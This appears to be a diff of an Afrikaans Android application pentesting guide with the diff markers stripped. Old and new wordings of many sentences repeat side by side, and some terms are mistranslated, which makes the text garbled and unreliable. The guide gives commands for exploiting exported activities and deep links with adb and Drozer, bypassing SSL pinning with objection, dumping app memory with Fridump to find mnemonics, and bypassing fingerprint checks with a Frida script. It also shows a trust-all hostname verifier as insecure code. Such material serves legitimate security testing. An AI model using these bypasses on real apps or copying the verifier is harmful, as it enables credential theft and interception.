In Android, lêers **gestoor** in **interne** stoor is **ontwerp** om **uitsluitend** deur die **app** wat dit **gecreëer** het, toeganklik te wees. Hierdie sekuriteitsmaatreël word **afgedwing** deur die Android bedryfstelsel en is oor die algemeen voldoende vir die sekuriteitsbehoeftes van die meeste toepassings. Tog gebruik ontwikkelaars soms modi soos `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` om **toegang** tot lêers tussen verskillende toepassings toe te laat. Tog **beperk** hierdie modi **nie toegang** tot hierdie lêers deur ander toepassings nie, insluitend potensieel kwaadwillige.
1. **Statiese Analise:**
- **Verseker** dat die gebruik van `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` **versigtig ondersoek** word. Hierdie modi **kan potensieel** lêers aan **onbedoelde of ongeoorloofde toegang** blootstel.
@ -114,10 +114,10 @@ Wanneer jy met lêers op **eksterne stoor** werk, soos SD Kaarte, moet sekere vo
- Lêers op eksterne stoor is **globaal leesbaar en skryfbaar**. Dit beteken enige toepassing of gebruiker kan toegang tot hierdie lêers verkry.
2. **Sekuriteitskwessies**:
- Gegewe die maklike toegang, word dit aanbeveel **om nie sensitiewe inligting** op eksterne stoor te stoor nie.
- Eksterne stoor kan verwyder of deur enige toepassing benader word, wat dit minder veilig maak.
- Eksterne stoor kan verwyder of deur enige toepassing toeganklik gemaak word, wat dit minder veilig maak.
3. **Hantering van Data van Eksterne Stoor**:
- Voer altyd **invoer validasie** uit op data wat van eksterne stoor verkry is. Dit is van kardinale belang omdat die data van 'n onbetroubare bron kom.
- Dit word sterk ontmoedig om uitvoerbare lêers of klas lêers op eksterne stoor vir dinamiese laai te stoor.
- Dit word sterk ontmoedig om uitvoerbare lêers of klas lêers op eksterne stoor te stoor vir dinamiese laai.
- As jou toepassing uitvoerbare lêers van eksterne stoor moet verkry, verseker dat hierdie lêers **onderteken en kriptografies geverifieer** is voordat hulle dinamies gelaai word. Hierdie stap is van kardinale belang om die sekuriteitsintegriteit van jou toepassing te handhaaf.
Eksterne stoor kan **toegang verkry** in `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
@ -134,7 +134,7 @@ Eksterne stoor kan **toegang verkry** in `/storage/emulated/0`, `/sdcard`, `/mnt
**Aanvaar Alle Sertifikate**
Vir een of ander rede aanvaar ontwikkelaars soms al die sertifikate, selfs al stem die hostname nie ooreen met lyne kode soos die volgende nie:
Om een of ander rede aanvaar ontwikkelaars soms al die sertifikate, selfs al stem die hostname nie ooreen met lyne kode soos die volgende nie:
```java
SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
@ -153,9 +153,9 @@ Ontwikkelaars moet nie **verouderde algoritmes** gebruik om **outorisering** **k
### Ander kontroles
- Dit word aanbeveel om die **APK te obfuskeer** om die omgekeerde ingenieurswese vir aanvallers te bemoeilik.
- Dit word aanbeveel om die **APK te obfuskeer** om die omgekeerde ingenieurswese vir aanvallers moeilik te maak.
- As die app sensitief is (soos bankapps), moet dit sy **eie kontroles uitvoer om te sien of die mobiele toestel ge-root is** en dienooreenkomstig optree.
- As die app sensitief is (soos bankapps), moet dit nagaan of 'n **emulator** gebruik word.
- As die app sensitief is (soos bankapps), moet dit kyk of 'n **emulator** gebruik word.
- As die app sensitief is (soos bankapps), moet dit **sy eie integriteit nagaan voordat dit uitgevoer word** om te kyk of dit gewysig is.
- Gebruik [**APKiD**](https://github.com/rednaga/APKiD) om te kyk watter kompilator/pakker/obfuskeerder gebruik is om die APK te bou.
@ -199,7 +199,7 @@ bypass-biometric-authentication-android.md
- **Kode-uitvoering**: `Runtime.exec(), ProcessBuilder(), native code:system()`
- **Stuur SMS's**: `sendTextMessage, sendMultipartTestMessage`
- **Inheemse funksies** verklaar as `native`: `public native, System.loadLibrary, System.load`
- **Inheemse funksies** wat as `native` verklaar is: `public native, System.loadLibrary, System.load`
- [Lees dit om te leer **hoe om inheemse funksies om te keer**](reversing-native-libraries.md)
### **Ander truuks**
@ -214,7 +214,7 @@ content-protocol.md
## Dinamiese Analise
> Eerstens, jy het 'n omgewing nodig waar jy die toepassing en al die omgewing (Burp CA sertifikaat, Drozer en Frida hoofsaaklik) kan installeer. Daarom word 'n ge-root toestel (geëmuleer of nie) uiters aanbeveel.
> Eerstens, jy het 'n omgewing nodig waar jy die toepassing en al die omgewing (Burp CA sertifikaat, Drozer en Frida hoofsaaklik) kan installeer. Daarom is 'n ge-root toestel (geëmuleer of nie) uiters aanbeveel.
### Aanlyn Dinamiese analise
@ -237,7 +237,7 @@ Dankie aan die ADB-verbinding kan jy **Drozer** en **Frida** binne die emulators
avd-android-virtual-device.md
{{#endref}}
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Gratis weergawe:** Persoonlike Uitgawe, jy moet 'n rekening aanmeld. _Dit word aanbeveel om die weergawe **MET** _**VirtualBox** te **aflaai** om potensiële foute te vermy._)
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Gratis weergawe:** Persoonlike Uitgawe, jy moet 'n rekening aanmeld. _Dit word aanbeveel om die weergawe **MET** _**VirtualBox** af te laai om potensiële foute te vermy._)
- [**Nox**](https://es.bignox.com) (Gratis, maar dit ondersteun nie Frida of Drozer nie).
> [!NOTE]
@ -247,7 +247,7 @@ Om **google dienste** (soos AppStore) in Genymotion te installeer, moet jy op di
![](<../../images/image (277).png>)
Let ook daarop dat jy in die **konfigurasie van die Android VM in Genymotion** **Bridge Network mode** kan kies (dit sal nuttig wees as jy aan die Android VM van 'n ander VM met die hulpmiddels sal aansluit).
Let ook daarop dat jy in die **konfigurasie van die Android VM in Genymotion** **Bridge Network mode** kan kies (dit sal nuttig wees as jy aan die Android VM wil koppel vanaf 'n ander VM met die hulpmiddels).
#### Gebruik 'n fisiese toestel
@ -260,13 +260,13 @@ Jy moet die **debugging** opsies aktiveer en dit sal goed wees as jy dit kan **r
5. Gaan terug en jy sal die **Ontwikkelaar opsies** vind.
> Sodra jy die toepassing geïnstalleer het, is die eerste ding wat jy moet doen om dit te probeer en te ondersoek wat dit doen, hoe dit werk en om gemaklik daarmee te raak.\
> Ek sal voorstel om **hierdie aanvanklike dinamiese analise te doen met MobSF dinamiese analise + pidcat**, sodat ons kan **leer hoe die toepassing werk** terwyl MobSF **'n klomp** **interessante** **data** vasvang wat jy later kan hersien.
> Ek sal voorstel om **hierdie aanvanklike dinamiese analise uit te voer met MobSF dinamiese analise + pidcat**, sodat ons kan **leer hoe die toepassing werk** terwyl MobSF **'n klomp** **interessante** **data** vasvang wat jy later kan hersien.
### Onbedoelde Data Lek
**Logging**
Ontwikkelaars moet versigtig wees om **debugging inligting** publiek bloot te stel, aangesien dit kan lei tot sensitiewe data lek. Die hulpmiddels [**pidcat**](https://github.com/JakeWharton/pidcat) en `adb logcat` word aanbeveel om toepassingslogs te monitor om sensitiewe inligting te identifiseer en te beskerm. **Pidcat** is verkieslik vir sy gebruiksgemak en leesbaarheid.
Ontwikkelaars moet versigtig wees om **debugging inligting** publiek bloot te stel, aangesien dit kan lei tot sensitiewe data lek. Die hulpmiddels [**pidcat**](https://github.com/JakeWharton/pidcat) en `adb logcat` word aanbeveel om toepassingslogs te monitor om sensitiewe inligting te identifiseer en te beskerm. **Pidcat** is verkies vir sy gebruiksgemak en leesbaarheid.
> [!WARNING]
> Let daarop dat vanaf **later nuwer as Android 4.0**, **toepassings slegs toegang tot hul eie logs kan hê**. So toepassings kan nie ander apps se logs toegang nie.\
@ -274,17 +274,17 @@ Ontwikkelaars moet versigtig wees om **debugging inligting** publiek bloot te st
**Kopie/Plak Buffer Kaping**
Android se **clipboard-gebaseerde** raamwerk stel kopie-plak funksionaliteit in apps in, maar dit stel 'n risiko in aangesien **ander toepassings** die klembord kan **toegang** en moontlik sensitiewe data blootstel. Dit is van kardinale belang om **kopie/plak** funksies vir sensitiewe afdelings van 'n toepassing, soos kredietkaartbesonderhede, te deaktiveer om data lek te voorkom.
Android se **clipboard-gebaseerde** raamwerk stel kopie-plak funksionaliteit in apps in, maar dit stel 'n risiko in omdat **ander toepassings** die klembord kan **toegang** en moontlik sensitiewe data blootstel. Dit is van kardinale belang om **kopie/plak** funksies vir sensitiewe afdelings van 'n toepassing, soos kredietkaartbesonderhede, te deaktiveer om data lek te voorkom.
**Crash Logs**
As 'n toepassing **crash** en **logs stoor**, kan hierdie logs aanvallers help, veral wanneer die toepassing nie omgekeerd kan word nie. Om hierdie risiko te verminder, moet jy vermy om te log op crashes, en as logs oor die netwerk oorgedra moet word, moet jy verseker dat dit via 'n SSL-kanaal vir sekuriteit gestuur word.
As 'n toepassing **crash** en **logs** stoor, kan hierdie logs aanvallers help, veral wanneer die toepassing nie omgekeerd kan word nie. Om hierdie risiko te verminder, moet jy vermy om te log op crashes, en as logs oor die netwerk oorgedra moet word, moet jy verseker dat dit via 'n SSL-kanaal vir sekuriteit gestuur word.
As pentester, **probeer om na hierdie logs te kyk**.
**Analitiese Data Gestuur Aan 3de Partye**
**Analytiese Data Gestuur Aan 3de Partye**
Toepassings integreer dikwels dienste soos Google Adsense, wat per ongeluk **sensitiewe data kan lek** as gevolg van onvanpaste implementering deur ontwikkelaars. Om potensiële data lek te identifiseer, is dit raadsaam om **die toepassing se verkeer te onderskep** en na te gaan of enige sensitiewe inligting aan derdeparty dienste gestuur word.
Toepassings integreer dikwels dienste soos Google Adsense, wat per ongeluk **sensitiewe data kan lek** as gevolg van onvanpaste implementering deur ontwikkelaars. Om potensiële data lek te identifiseer, is dit raadsaam om die **toepassing se verkeer te onderskep** en te kyk vir enige sensitiewe inligting wat aan derdeparty dienste gestuur word.
### SQLite DB's
@ -295,10 +295,10 @@ As die databasis vertroulike inligting stoor en is **geënkripteer** maar jy kan
Lys die tabelle met `.tables` en lys die kolomme van die tabelle met `.schema <table_name>`.
### Drozer (Eksploiteer Aktiwiteite, Inhoud Verskaffers en Dienste)
### Drozer (Eksploiteer Aktiwiteite, Inhoudverskaffers en Dienste)
Van [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** laat jou toe om **die rol van 'n Android-app aan te neem** en met ander apps te kommunikeer. Dit kan **enigiets doen wat 'n geïnstalleerde toepassing kan doen**, soos om gebruik te maak van Android se Inter-Process Communication (IPC) meganisme en met die onderliggende bedryfstelsel te kommunikeer.\
Drozer is 'n nuttige hulpmiddel om **geëksporteerde aktiwiteite, geëksporteerde dienste en Inhoud Verskaffers** te **eksploiteer** soos jy in die volgende afdelings sal leer.
Van [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** laat jou toe om die rol van 'n Android-app aan te neem en met ander apps te kommunikeer. Dit kan **enigiets doen wat 'n geïnstalleerde toepassing kan doen**, soos om gebruik te maak van Android se Inter-Process Communication (IPC) meganisme en met die onderliggende bedryfstelsel te kommunikeer.\
Drozer is 'n nuttige hulpmiddel om **geëksporteerde aktiwiteite, geëksporteerde dienste en Inhoudverskaffers** te **eksploiteer** soos jy in die volgende afdelings sal leer.
### Eksploiteer geëksporteerde Aktiwiteite
@ -318,51 +318,51 @@ Jy kan ook 'n geëksporteerde aktiwiteit vanaf adb begin:
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
**NOTE**: MobSF sal die gebruik van _**singleTask/singleInstance**_ as `android:launchMode` in 'n aktiwiteit as kwaadwillig beskou, maar weens [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), blyk dit dat dit slegs gevaarlik is op ou weergawe (API weergawes < 21).
**NOTE**: MobSF sal die gebruik van _**singleTask/singleInstance**_ as `android:launchMode` in 'n aktiwiteit as kwaadwillig beskou, maar weens [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), blyk dit dat dit slegs gevaarlik is op ou weergawes (API weergawes < 21).
> [!NOTE]
> Let daarop dat 'n magtiging omseiling nie altyd 'n kwesbaarheid is nie, dit sal afhang van hoe die omseiling werk en watter inligting blootgestel word.
**Sensitiewe inligting lekkasie**
**Aktiwiteite kan ook resultate teruggee**. As jy daarin slaag om 'n geexporteerde en onbeveiligde aktiwiteit te vind wat die **`setResult`** metode aanroep en **sensitiewe inligting teruggee**, is daar 'n sensitiewe inligting lekkasie.
**Aktiwiteite kan ook resultate teruggee**. As jy daarin slaag om 'n uitgevoerde en onbeveiligde aktiwiteit te vind wat die **`setResult`** metode aanroep en **sensitiewe inligting teruggee**, is daar 'n sensitiewe inligting lekkasie.
#### Tapjacking
As tapjacking nie voorkom word nie, kan jy die geexporteerde aktiwiteit misbruik om die **gebruiker onverwachte aksies** te laat uitvoer. Vir meer inligting oor [**wat is Tapjacking volg die skakel**](#tapjacking).
As tapjacking nie voorkom word nie, kan jy die uitgevoerde aktiwiteit misbruik om die **gebruiker onverwachte aksies** te laat uitvoer. Vir meer inligting oor [**wat is Tapjacking volg die skakel**](#tapjacking).
### Exploiting Content Providers - Toegang tot en manipulasie van sensitiewe inligting
[**Lees dit as jy wil verfris wat 'n Content Provider is.**](android-applications-basics.md#content-provider)\
[**Lees dit as jy wil opfris wat 'n Content Provider is.**](android-applications-basics.md#content-provider)\
Inhoudverskaffers word basies gebruik om **data** te **deel**. As 'n app beskikbare inhoudverskaffers het, mag jy in staat wees om **sensitiewe** data daaruit te **onttrek**. Dit is ook interessant om moontlike **SQL-inspuitings** en **Path Traversals** te toets aangesien hulle kwesbaar kan wees.
[**Leer hoe om Content Providers met Drozer te exploiteer.**](drozer-tutorial/index.html#content-providers)
[**Leer hoe om Content Providers met Drozer te benut.**](drozer-tutorial/index.html#content-providers)
### **Exploiting Services**
[**Lees dit as jy wil verfris wat 'n Service is.**](android-applications-basics.md#services)\
[**Lees dit as jy wil opfris wat 'n Service is.**](android-applications-basics.md#services)\
Onthou dat die aksies van 'n Service begin in die metode `onStartCommand`.
Aangesien 'n diens basies iets is wat **data kan ontvang**, dit **verwerk** en **teruggee** (of nie) 'n antwoord. As 'n toepassing sekere dienste eksport, moet jy die **kode** nagaan om te verstaan wat dit doen en dit **dynamies** toets om vertroulike inligting te onttrek, magtiging maatreëls te omseil...\
[**Leer hoe om Dienste met Drozer te exploiteer.**](drozer-tutorial/index.html#services)
'n Diens is basies iets wat **data kan ontvang**, dit **verwerk** en **gee** (of nie) 'n antwoord terug. As 'n toepassing sekere dienste uitvoer, moet jy die **kode** nagaan om te verstaan wat dit doen en dit **dynamies** toets om vertroulike inligting te onttrek, magtiging maatreëls te omseil...\
[**Leer hoe om Dienste met Drozer te benut.**](drozer-tutorial/index.html#services)
### **Exploiting Broadcast Receivers**
[**Lees dit as jy wil verfris wat 'n Broadcast Receiver is.**](android-applications-basics.md#broadcast-receivers)\
[**Lees dit as jy wil opfris wat 'n Broadcast Receiver is.**](android-applications-basics.md#broadcast-receivers)\
Onthou dat die aksies van 'n Broadcast Receiver begin in die metode `onReceive`.
'n Uitzendingontvanger sal wag vir 'n tipe boodskap. Afhangende van hoe die ontvanger die boodskap hanteer, kan dit kwesbaar wees.\
[**Leer hoe om Uitzendingontvangers met Drozer te exploiteer.**](#exploiting-broadcast-receivers)
[**Leer hoe om Uitzendingontvangers met Drozer te benut.**](#exploiting-broadcast-receivers)
### **Exploiting Schemes / Deep links**
Jy kan handmatig na diep skakels soek, met behulp van gereedskap soos MobSF of skripte soos [hierdie een](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
Jy kan handmatig na diep skakels soek, met behulp van gereedskap soos MobSF of skripte soos [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
Jy kan 'n verklaarde **skema** met **adb** of 'n **blaaier** **oopmaak**:
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
Let daarop dat jy **die pakkie naam kan oorslaan** en die mobiele toestel sal outomaties die app oproep wat daardie skakel moet oopmaak.
```markup
```html
<!-- Browser regular link -->
<a href="scheme://hostname/path?param=value">Click me</a>
<!-- fallback in your url you could try the intent url -->
@ -390,12 +390,12 @@ Let daarop dat as jy die korrekte eindpunte binne die toepassing vind, jy dalk '
### Vervoer Laag Inspeksie en Verifikasie Foute
- **Sertifikate word nie altyd behoorlik ondersoek nie** deur Android-toepassings. Dit is algemeen dat hierdie toepassings waarskuwings oorsien en self-onderteken sertifikate aanvaar of, in sommige gevalle, terugkeer na die gebruik van HTTP-verbindinge.
- **Onderhandelinge tydens die SSL/TLS handdruk is soms swak**, wat onveilige cipher suites gebruik. Hierdie kwesbaarheid maak die verbinding kwesbaar vir man-in-the-middle (MITM) aanvalle, wat aanvallers in staat stel om die data te ontsleutel.
- **Lek van private inligting** is 'n risiko wanneer toepassings verifieer deur veilige kanale, maar dan oor nie-veilige kanale kommunikeer vir ander transaksies. Hierdie benadering beskerm nie sensitiewe data, soos sessie koekies of gebruikersbesonderhede, teen onderskep deur kwaadwillige entiteite nie.
- **Onderhandelinge tydens die SSL/TLS handdruk is soms swak**, wat onveilige cipher suites gebruik. Hierdie kwesbaarheid maak die verbinding kwesbaar vir man-in-the-middle (MITM) aanvalle, wat dit moontlik maak vir aanvallers om die data te ontsleutel.
- **Lek van private inligting** is 'n risiko wanneer toepassings met veilige kanale autentiseer, maar dan oor nie-veilige kanale vir ander transaksies kommunikeer. Hierdie benadering beskerm nie sensitiewe data, soos sessiekookies of gebruikersbesonderhede, teen onderskep deur kwaadwillige entiteite nie.
#### Sertifikaat Verifikasie
Ons sal fokus op **sertifikaat verifikasie**. Die integriteit van die bediener se sertifikaat moet geverifieer word om sekuriteit te verbeter. Dit is van kardinale belang omdat onveilige TLS-konfigurasies en die oordrag van sensitiewe data oor nie-geënkripteerde kanale beduidende risiko's kan inhou. Vir gedetailleerde stappe oor die verifikasie van bediener sertifikate en die aanspreek van kwesbaarhede, [**hierdie hulpbron**](https://manifestsecurity.com/android-application-security-part-10/) bied omvattende leiding.
Ons sal fokus op **sertifikaat verifikasie**. Die integriteit van die bediener se sertifikaat moet geverifieer word om sekuriteit te verbeter. Dit is van kardinale belang omdat onveilige TLS-konfigurasies en die oordrag van sensitiewe data oor nie-geënkripteerde kanale beduidende risiko's kan inhou. Vir gedetailleerde stappe oor die verifikasie van bedienersertifikate en die aanspreek van kwesbaarhede, bied [**hierdie hulpbron**](https://manifestsecurity.com/android-application-security-part-10/) omvattende leiding.
#### SSL Pinning
@ -403,9 +403,9 @@ SSL Pinning is 'n sekuriteitsmaatreël waar die toepassing die bediener se serti
#### Verkeer Inspeksie
Om HTTP-verkeer te inspekteer, is dit nodig om die **proxy gereedskap se sertifikaat** (bv. Burp) te **installeer**. Sonder om hierdie sertifikaat te installeer, mag geënkripteerde verkeer nie deur die proxy sigbaar wees nie. Vir 'n gids oor die installering van 'n aangepaste CA-sertifikaat, [**klik hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Om HTTP-verkeer te inspekteer, is dit nodig om die **proxy-gereedskap se sertifikaat** (bv. Burp) te **installeer**. Sonder om hierdie sertifikaat te installeer, mag geënkripteerde verkeer nie deur die proxy sigbaar wees nie. Vir 'n gids oor die installering van 'n aangepaste CA-sertifikaat, [**klik hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Toepassings wat **API-vlak 24 en hoër** teiken, vereis wysigings aan die Netwerk Sekuriteit Konfigurasie om die proxy se CA-sertifikaat te aanvaar. Hierdie stap is krities vir die inspeksie van geënkripteerde verkeer. Vir instruksies oor die wysiging van die Netwerk Sekuriteit Konfigurasie, [**verwys na hierdie tutoriaal**](make-apk-accept-ca-certificate.md).
Toepassings wat **API-vlak 24 en hoër** teiken, vereis wysigings aan die Netwerk Sekuriteitskonfigurasie om die proxy se CA-sertifikaat te aanvaar. Hierdie stap is krities vir die inspeksie van geënkripteerde verkeer. Vir instruksies oor die wysiging van die Netwerk Sekuriteitskonfigurasie, [**verwys na hierdie tutorial**](make-apk-accept-ca-certificate.md).
#### Omseiling van SSL Pinning
@ -415,7 +415,7 @@ Wanneer SSL Pinning geïmplementeer is, word dit noodsaaklik om dit te omseil om
- Jy kan **Frida** gebruik (hieronder bespreek) om hierdie beskerming te omseil. Hier is 'n gids om Burp+Frida+Genymotion te gebruik: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Jy kan ook probeer om **automaties SSL Pinning te omseil** met [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Jy kan ook probeer om **automaties SSL Pinning te omseil** met **MobSF dinamiese analise** (hieronder verduidelik)
- As jy steeds dink dat daar sekere verkeer is wat jy nie opneem nie, kan jy probeer om die verkeer na burp te **stuur met iptables**. Lees hierdie blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
- As jy steeds dink dat daar enige verkeer is wat jy nie vasvang nie, kan jy probeer om **die verkeer na burp te stuur met iptables**. Lees hierdie blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Soek na Algemene Web Kwesbaarhede
@ -427,15 +427,15 @@ Dit is belangrik om ook te soek na algemene web kwesbaarhede binne die toepassin
**Jy kan lopende toepassings toegang verkry en metodes op tydstip aanroep om die gedrag te verander, waardes te verander, waardes te onttrek, verskillende kode te loop...**\
As jy Android-toepassings wil pentest, moet jy weet hoe om Frida te gebruik.
- Leer hoe om Frida te gebruik: [**Frida tutoriaal**](frida-tutorial/index.html)
- Leer hoe om Frida te gebruik: [**Frida tutorial**](frida-tutorial/index.html)
- Sommige "GUI" vir aksies met Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection is wonderlik om die gebruik van Frida te outomatiseer: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Jy kan 'n paar wonderlike Frida skripte hier vind: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Jy kan 'n paar wonderlike Frida-skripte hier vind: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Probeer om anti-debugging / anti-frida meganismes te omseil deur Frida te laai soos aangedui in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (gereedskap [linjector](https://github.com/erfur/linjector-rs))
### **Dump Geheue - Fridump**
Kontroleer of die toepassing sensitiewe inligting binne die geheue stoor wat dit nie moet stoor nie, soos wagwoorde of mnemonics.
Kyk of die toepassing sensitiewe inligting binne die geheue stoor wat dit nie moet stoor nie, soos wagwoorde of mnemonics.
Met [**Fridump3**](https://github.com/rootbsd/fridump3) kan jy die geheue van die app dump met:
```bash
@ -446,7 +446,7 @@ python3 fridump3.py -u <PID>
frida-ps -Uai
python3 fridump3.py -u "<Name>"
```
Dit sal die geheue in die ./dump gids dump, en daarin kan jy met iets soos grep:
Dit sal die geheue in die ./dump gids dump, en daarin kan jy met iets soos grep.
```bash
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
```
@ -462,7 +462,7 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Vingerafdruk/Biometriese Omseiling**
Deur die volgende Frida-skrip te gebruik, kan dit moontlik wees om **vingerafdrukverifikasie** te **omseil** wat Android-toepassings mag uitvoer om **sekere sensitiewe areas te beskerm:**
Deur die volgende Frida-skrip te gebruik, kan dit moontlik wees om **vingerafdrukverifikasie** te omseil wat Android-toepassings mag uitvoer om **sekere sensitiewe areas te beskerm:**
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
@ -486,12 +486,12 @@ Hierdie hulpmiddel kan jou help om verskillende hulpmiddels te bestuur tydens di
Ontwikkelaars skep dikwels proxy-komponente soos aktiwiteite, dienste en uitsendingsontvangers wat hierdie Intents hanteer en dit aan metodes soos `startActivity(...)` of `sendBroadcast(...)` oorplaas, wat riskant kan wees.
Die gevaar lê in die toelaat van aanvallers om nie-geëksporteerde app-komponente te aktiveer of toegang tot sensitiewe inhoudverskaffers te verkry deur hierdie Intents verkeerd te lei. 'n Opmerkelijke voorbeeld is die `WebView` komponent wat URL's na `Intent`-objekte omskakel via `Intent.parseUri(...)` en dit dan uitvoer, wat moontlik kan lei tot kwaadwillige Intent-inspuitings.
Die gevaar lê in die toelaat van aanvallers om nie-geëksporteerde app-komponente te aktiveer of toegang te verkry tot sensitiewe inhoudverskaffers deur hierdie Intents verkeerd te lei. 'n Opmerkelijke voorbeeld is die `WebView` komponent wat URL's na `Intent` objektes omskakel via `Intent.parseUri(...)` en dit dan uitvoer, wat moontlik kan lei tot kwaadwillige Intent inspuitings.
### Belangrike Afleidings
### Essensiële Afleidings
- **Intent Inspuiting** is soortgelyk aan die web se Open Redirect probleem.
- Exploits behels die oorplasing van `Intent`-objekte as ekstra's, wat omgerig kan word om onveilige operasies uit te voer.
- Exploits behels die oorplasing van `Intent` objektes as ekstra, wat herlei kan word om onveilige operasies uit te voer.
- Dit kan nie-geëksporteerde komponente en inhoudverskaffers aan aanvallers blootstel.
- `WebView`s URL na `Intent` omskakeling kan onbedoelde aksies fasiliteer.
@ -511,7 +511,7 @@ Waarskynlik weet jy van hierdie soort kwesbaarhede van die Web. Jy moet spesiaal
### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)
**Statiese analise**
**Statische analise**
![](<../../images/image (866).png>)
@ -530,7 +530,7 @@ MobSF laat jou ook toe om **diff/vergelyking** analises te doen en om **VirusTot
**MobSF** kan ook baie nuttig wees vir **dinamiese analise** in **Android**, maar in daardie geval sal jy MobSF en **genymotion** op jou gasheer moet installeer (n VM of Docker sal nie werk nie). _Let wel: Jy moet **eers 'n VM in genymotion begin** en **dan MobSF.**_\
Die **MobSF dinamiese ontleder** kan:
- **Dump toepassingsdata** (URL's, logs, klembord, skermskote gemaak deur jou, skermskote gemaak deur "**Exported Activity Tester**", e-posse, SQLite-databasisse, XML-lêers, en ander geskepte lêers). Al hierdie word outomaties gedoen behalwe vir die skermskote, jy moet druk wanneer jy 'n skermskoot wil hê of jy moet druk op "**Exported Activity Tester**" om skermskote van al die uitgevoerde aktiwiteite te verkry.
- **Dump toepassingsdata** (URLs, logs, klembord, skermskote gemaak deur jou, skermskote gemaak deur "**Exported Activity Tester**", e-posse, SQLite-databasisse, XML-lêers, en ander geskepte lêers). Al hierdie word outomaties gedoen behalwe vir die skermskote, jy moet druk wanneer jy 'n skermskoot wil hê of jy moet druk op "**Exported Activity Tester**" om skermskote van al die uitgevoerde aktiwiteite te verkry.
- **HTTPS-verkeer** vasvang
- **Frida** gebruik om **runtime** **inligting** te verkry
@ -542,24 +542,24 @@ Standaard sal dit ook 'n paar Frida-skripte gebruik om **SSL pinning** te **omse
MobSF kan ook **uitgevoerde aktiwiteite** aanroep, **skermskote** daarvan neem en dit **stoor** vir die verslag.
Om die dinamiese toetsing te **begin**, druk die groen knoppie: "**Start Instrumentation**". Druk op die "**Frida Live Logs**" om die logs te sien wat deur die Frida-skripte gegenereer word en "**Live API Monitor**" om al die aanroepings na gehookte metodes, oorgedraagde argumente en teruggegee waardes te sien (dit sal verskyn nadat jy "Start Instrumentation" gedruk het).\
MobSF laat jou ook toe om jou eie **Frida-skripte** te laai (om die resultate van jou Frida-skripte na MobSF te stuur, gebruik die funksie `send()`). Dit het ook **verskeie vooraf geskryfde skripte** wat jy kan laai (jy kan meer by `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` voeg), kies net **hulle**, druk "**Load**" en druk "**Start Instrumentation**" (jy sal in staat wees om die logs van daardie skripte binne "**Frida Live Logs**" te sien).
MobSF laat jou ook toe om jou eie **Frida-skripte** te laai (om die resultate van jou Frida-skripte na MobSF te stuur, gebruik die funksie `send()`). Dit het ook **verskeie vooraf geskryfde skripte** wat jy kan laai (jy kan meer by `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` voeg), kies net **hulle**, druk "**Load**" en druk "**Start Instrumentation**" (jy sal die logs van daardie skripte binne "**Frida Live Logs**" kan sien).
![](<../../images/image (419).png>)
Boonop het jy 'n paar bykomende Frida-funksies:
- **Lade Klasse**: Dit sal al die gelaaide klasse druk
- **Vang Strings**: Dit sal al die gevangenis strings druk terwyl jy die toepassing gebruik (baie lawaaiig)
- **Vang String Vergelykings**: Kan baie nuttig wees. Dit sal **die 2 strings wat vergelyk word** wys en of die resultaat Waar of Onwaar was.
- **Lade Klas Metodes**: Sit die klasnaam (soos "java.io.File") en dit sal al die metodes van die klas druk.
- **Soek Klas Patroon**: Soek klasse volgens patroon
- **Trace Klas Metodes**: **Trace** 'n **hele klas** (sien insette en uitsette van al die metodes van die klas). Onthou dat MobSF standaard verskeie interessante Android API-metodes traceer.
- **Laden Klasse Opnoem**: Dit sal al die gelaaide klasse druk
- **Strings Vasvang**: Dit sal al die vasgevangde strings druk terwyl jy die toepassing gebruik (baie lawaaierig)
- **String Vergelykings Vasvang**: Kan baie nuttig wees. Dit sal **die 2 strings wat vergelyk word** wys en of die resultaat Waar of Vals was.
